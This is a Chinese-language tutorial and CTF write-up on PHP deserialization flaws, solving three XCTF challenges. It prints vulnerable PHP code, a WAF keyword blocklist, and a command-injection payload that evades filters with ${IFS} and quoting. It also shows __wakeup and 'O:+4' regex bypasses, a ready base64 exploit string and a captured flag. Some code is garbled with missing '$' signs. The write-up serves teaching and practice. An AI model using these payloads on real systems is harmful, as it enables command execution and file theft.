含义:
php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息"复刻"出一个和原来一模一样的对象。
常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。
字符详解
O:6:"Person":3:{s:4:"name";s:3:"tom"; s:11:"Personage"; i:18; s:6:"*sex"; s:3:"boy";}
O : 自定义对象 object
6 : 类名的长度
:3 : 3个成员属性
S:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string
S:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:18 : 18是age的属性值 , i是代表 integer类型s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号
s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值
魔术方法:
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。PHP中把以两个下划线 __
开头的方法称为魔术方法(Magic methods)
PHP 保留所有以 __ 开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称。在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利。并且不需要显示的调用而是由某种特定的条件出发。
构造函数和析构函数
构造函数和析构函数分别在对象创建和销毁时被调用。对象被"销毁"是指不存在任何对该对象的引用,比如引用该对象的变量被删除(unset)、重新赋值或脚本执行结束,都会调用析构函数。
常用魔术方法
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。
从序列化到反序列化这几个函数的执行过程是:
__construct()
->__sleep()
-> __wakeup()
-> __toString()
-> __destruct()
__toString()这个魔术方法触发的因素
1. echo(obj)/print(obj)打印时会触发
2. 反序列化对象与字符串连接时
3. 反序列化对象参与格式化字符串时
4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
5. 反序列化对象参与格式化SQL语句,绑定参数时
6. 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
8. 反序列化的对象作为class_exists()的参数的时候
魔术方法在反序列化攻击中的作用
反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。
如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。
但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。
在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
php序列化和反序列化
下面来详细介绍一下php序列化和反序列化
Python序列化与反序列化详解(包括json和json模块详解)-CSDN博客
PHP序列化
有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。
json数据使用 , 分隔开,数据内使用 : 分隔键和值
json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,
这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。
有两种情况必须把对象序列化:
把一个对象在网络中传输
把对象写入文件或数据库
PHP序列化:把对象转化为二进制的字符串,使用serialize()
函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()
函数
PHP为何要序列化和反序列化
PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题
PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。
如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化
从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。
挖掘反序列化漏洞的条件是:
1.代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
- unserialize()函数的参数可控。
攻防世界:
unseping
下面看题来熟悉一下:
源码
<?php
highlight_file(FILE);//(语法高亮)
class ease{//类定义
private $method;//私有变量
private $args;
function __construct($method, $args) {//__construct() 函数创建一个新的 SimpleXMLElement 对象。("SimpleXMLElement是在PHP中处理XML文档的一个类)method和args是两个参数
$this->method = $method;
$this->args = $args;//构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员(私有)变量 $method 和 $args
}//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性。
function __destruct(){//析构函数 __destruct 则是在对象被销毁之前自动调用的方法
if (in_array($this->method, array("ping"))) { //检查成员变量 $method 的值是否在数组 array("ping") 中,如果是的话,就调用对象自身的方法 $this->method**(简单来说就是判断method是不是等于ping)**
call_user_func_array(array($this, $this->method), $this->args);//动态地调用对象的方法,并将 $this->args 数组作为参数传递给该方法。
}
} //在对象销毁时,如果 $method 的值是 "ping",则调用对象自身的 "ping" 方法,并将 $args 数组作为参数传递给该方法。
function ping($ip){//执行ping命令**(函数ping)**
exec($ip, $result);
var_dump($result);
}//ping 函数的作用是执行系统命令 exec($ip, $result),其中 $ip 是传递给 ping 命令的参数。exec 函数执行系统命令,并将结果存储在变量 result 中。然后,使用 var_dump(result) 打印 $result 的内容,以便查看命令执行的结果
function waf($str){//函数waf
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}//waf 函数是一个简单的 Web 应用防火墙(Web Application Firewall)函数。它使用正则表达式来检测 $str 是否包含特定的敏感词汇,如 |、&、;、/、cat、flag、tac、php、ls 等。如果 $str 中存在这些敏感词汇,则输出 "don't hack",表示不允许执行该操作。否则,返回原始的 $str 值
function __wakeup(){
foreach($this->args as $k => $v) {
this-\>args\[k] = this-\>waf(v);
}
}
}//__wakeup 是 PHP 中的一个魔术方法(magic method),用于在反序列化对象时进行特定操作。在这段代码中,__wakeup 方法被定义在一个类中,但是代码片段中省略了类的定义部分。 __wakeup方法的作用是对对象进行反序列化后的恢复操作。在这段代码中,它遍历对象的成员变量this-\>args,对每个成员变量的值使用 waf方法进行敏感词过滤,并将过滤后的值重新赋值给this->args[$k]`。(简单来说:如果 PHP 对象中存在名为 __wakeup 的方法,就调用该方法对对象进行恢复操作,即对成员变量 $this->args 进行敏感词过滤。)
ctf=@_POST['ctf'];//这行代码将 $_POST 数组中名为 'ctf' 的元素的值赋给了变量 $ctf。@ 符号用于抑制可能的错误提示。
@unserialize(base64_decode($ctf));//这行代码使用 base64_decode 函数对变量 $ctf 的值进行解码,并使用 unserialize 函数将解码后的结果反序列化为对象。unserialize 函数用于将之前通过 serialize 函数序列化的对象转换回原始的 PHP 对象。(简单来说:对变量 $ctf 的值进行解码和反序列化,恢复为原始的 PHP 对象。)
?>
通过分析上面的代码我们可以得出,我们只要控制ctf这个参数的输入的值,就可以达成命令执行的效果,但是上面的代码,我们需要两个参数ping和后面命令执行的值,我们首先就得看看当前目录下都有些什么东西。同时我们需要考虑ls字符被过滤了,那么我们需要进行绕过,那我们就可以写出如下的PHP语句进行,ctf值的输出
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
a = new ease("ping",array('c""at{IFS}f""lag_1s_here(printf{IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
b = serialize(a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}//定义了一个名为 ease 的类。该类具有私有成员变量 $method 和 $args,以及一个构造函数 __construct。构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员变量
}
$a = new ease("ping",array('l""s'));//创建了一个类的实例 $a,通过传递参数 "ping" 和数组 array('l""s') 给构造函数来初始化实例。
b = serialize(a);//使用 serialize 函数对实例 $a 进行序列化,将其转换为一个字符串表示
echo $b;echo'</br>';//使用 echo 语句输出序列化后的字符串 b,并在其后添加一个换行符 \
。 echo base64_encode(b);//使用 base64_encode 函数对序列化后的字符串 $b 进行 Base64 编码,将其转换为另一个字符串表示,并使用 echo 语句输出。?>
运行结果:
找到了flag文件 再在原来的基础上把命令改一下就可以了
想要执行cat flag_1s_here/flag_831b69012c67b35f.php来查看flag,cat,flag,php都可以用双引号绕过,空格用{IFS}绕过,/要用printf及()绕过。
令arg=c""at{IFS}(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。
unserialize3
东西很少,
看源码:
class xctf{
public $flag = '111';//类中定义了一个公共成员变量 $flag,其值为字符串 '111'。这个变量可以在类的实例中被访问和修改
public function __wakeup(){
exit('bad requests');//类中定义了一个特殊方法 __wakeup()。__wakeup() 方法在 PHP 的反序列化过程中被调用。在这段代码中,__wakeup() 方法被重写,当进行反序列化时,会触发该方法。在方法内部,使用 exit() 函数输出字符串 'bad requests',并终止程序的执行。
}
?code=//给出的 URL 参数 ?code=
代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)
<?php
class xctf{ //定义一个名为xctf的类
public flag = '111'; //定义一个公有的类属性flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak)); //输出被序列化的对象(peak)
?>
得到了一个序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞
所以我们构造的payload只需要把xctf后边的1改成2
O:4:"xctf":2:{s:4:"flag";s:3:"111";} 在利用参数进行访问就可以了
cyberpeace{b071fb46dca53c8e64462e9cfd16ebed}
Web_php_unserialize
<?php
class Demo { //类定义
private $file = 'index.php';//私有变量
public function __construct($file) { //__construct() 函数创建一个新的 SimpleXMLElement 对象
$this->file = $file;
}//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性
function __destruct() { //析构函数 __destruct 则是在对象被销毁之前自动调用的方法
echo @highlight_file($this->file, true); //highlight_file() 函数以代码高亮的形式输出 $file 文件的内容
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
} //反序列化魔术方法 __wakeup() 在反序列化对象时被调用。在这段代码中,如果 $file 不等于 'index.php',则将其重置为 'index.php'(秘密藏在fl4g.php里面)
}
}
if (isset($_GET['var'])) { //在主代码块中,首先检查是否存在 $_GET['var'] 参数。
var = base64_decode(_GET['var']); //$_GET['var'] 参数,则对其进行 Base64 解码,并将结果赋值给变量 $var
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!'); //使用正则表达式匹配检查 $var 是否包含类似 o:数字: 的序列化字符串。如果匹配成功,说明 $var 可能被恶意篡改,代码执行会被终止,并输出提示信息
} else {
@unserialize(var); //var 没有匹配到恶意序列化字符串,则使用 @unserialize() 函数对 $var 进行反序列化操作
}
} else {
highlight_file("index.php"); //如果不存在 $_GET['var'] 参数,则使用 highlight_file() 函数以代码高亮的形式输出当前文件 index.php 的内容
}
?>
通过源代码可以看出来,想得到flag要绕过3个
1.绕过__wakeup 2.绕过正则表达式 3.base64加密
1.绕过:
__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。
2.(preg_match('/[oc]:\d+:/i', $var))
而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 "o:数字" 或者 "c:数字' 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配
绕过
而O:+4没被过滤说明绕过了过滤而且最后的值不变。
3.直接base64加密就可以
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo ('fl4g.php'); //创建对象
C = serialize(A); //对对象A进行序列化
C = str_replace('O:4','O:+4',C); //绕过正则表达式过滤
C = str_replace(':1:',':2:',C); //wakeup绕过
var_dump($C);
var_dump(base64_encode($C)); //base64加密
?>
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
绕过的详细过程:
利用反列化函数,得增加以下代码,$a = new Demo('fl4g.php');
先利用在线工些代码,对其进行反序列化
<?php
class Demo {
private $file = 'fl4g.php';
}
$a = serialize(new Demo);
var_dump($a);
?>
得到:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
__wakeup绕过:
"Demo":1 改成 "Demo":2
正则绕过:
O:4 改成:O:+4
所以写成:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}(这里只做示范,要用在线php里边的序列化才可以)
在对其进行base64编码:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到base64编码 在传个参就可以了
/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到了flag